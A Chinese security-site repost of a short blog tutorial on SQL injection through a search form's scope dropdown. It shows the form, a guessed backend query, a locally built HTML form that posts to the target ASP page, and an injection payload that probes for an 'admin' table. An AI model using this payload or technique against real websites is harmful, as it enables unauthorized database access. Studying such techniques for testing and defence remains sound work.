频道栏目
首页 > 资讯 > 网站安全 > 正文

小议搜索匹配栏的注射

11-09-04        来源:[db:作者]  
收藏   我要投稿

当我们在对一个url进行注入的时候,我们可能会尝试get,post,cookies方法。
不成功了还可以利用搜索框注射,那么大家有没有注意到一些搜索框上面的匹配栏呢,利用匹配栏我们同样可以进行注射!

一般搜索匹配栏的表单是这样的:
<form action="sb-team.asp" method="post" name=""> //action为数据提交地址 method为提交方式
搜索关键字:<input type="text" name="">    //input标签,搜索关键字 这里的内容为下面的keyword
范围: <select name="">                                //这里的内容为下面的select(选择)                      
                    <option value="">内容</option>
                    <option value="">标题</option>
           </select>
           <input type="submit" value="搜索">  //提交
</from>

那么他的查询语句猜想可能是:

select data from tables where select(选择) like "%keyword%"  order by id desc

我们对匹配栏进行注射,那么关键的语句就是:

where select(选择) like "%keyword%" order by id desc

了解以上之后我们可以自己本地构造一个html的提交页面:
<html>
<head>
<title>本地注射提交 by str1ven</title>
</head>
<form action="http://www.2cto.com /sb-team.asp" method="post" name="">
搜索关键字:<input type="text" name="">   
范围:        <input type="text" name="">   //这里将select变为text便于语句写入
                 <input type="submit" value="搜索">  //提交
</form>
</html>

之后我们在范围的栏写入注射语句:

exists (select count(*) from admin)>0 and sb

在搜索关键字栏填写sb 。

那么我就会构成语句:

where exists (select count(*) from admin)>0 and sb like %sb% (只要保持语句成立,sb可以换成别的)

因为sb肯定like sb 所以语句成立。

这样我们就通过匹配栏进行注射了。

文章只是提供一个思路,还请大家发散~~~~~~{:4_114:}

 

摘自:Str1ven's Blog

相关TAG标签
上一篇:Linux减缓CC攻击
下一篇:mhtml协议XSS注入及修复方案
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站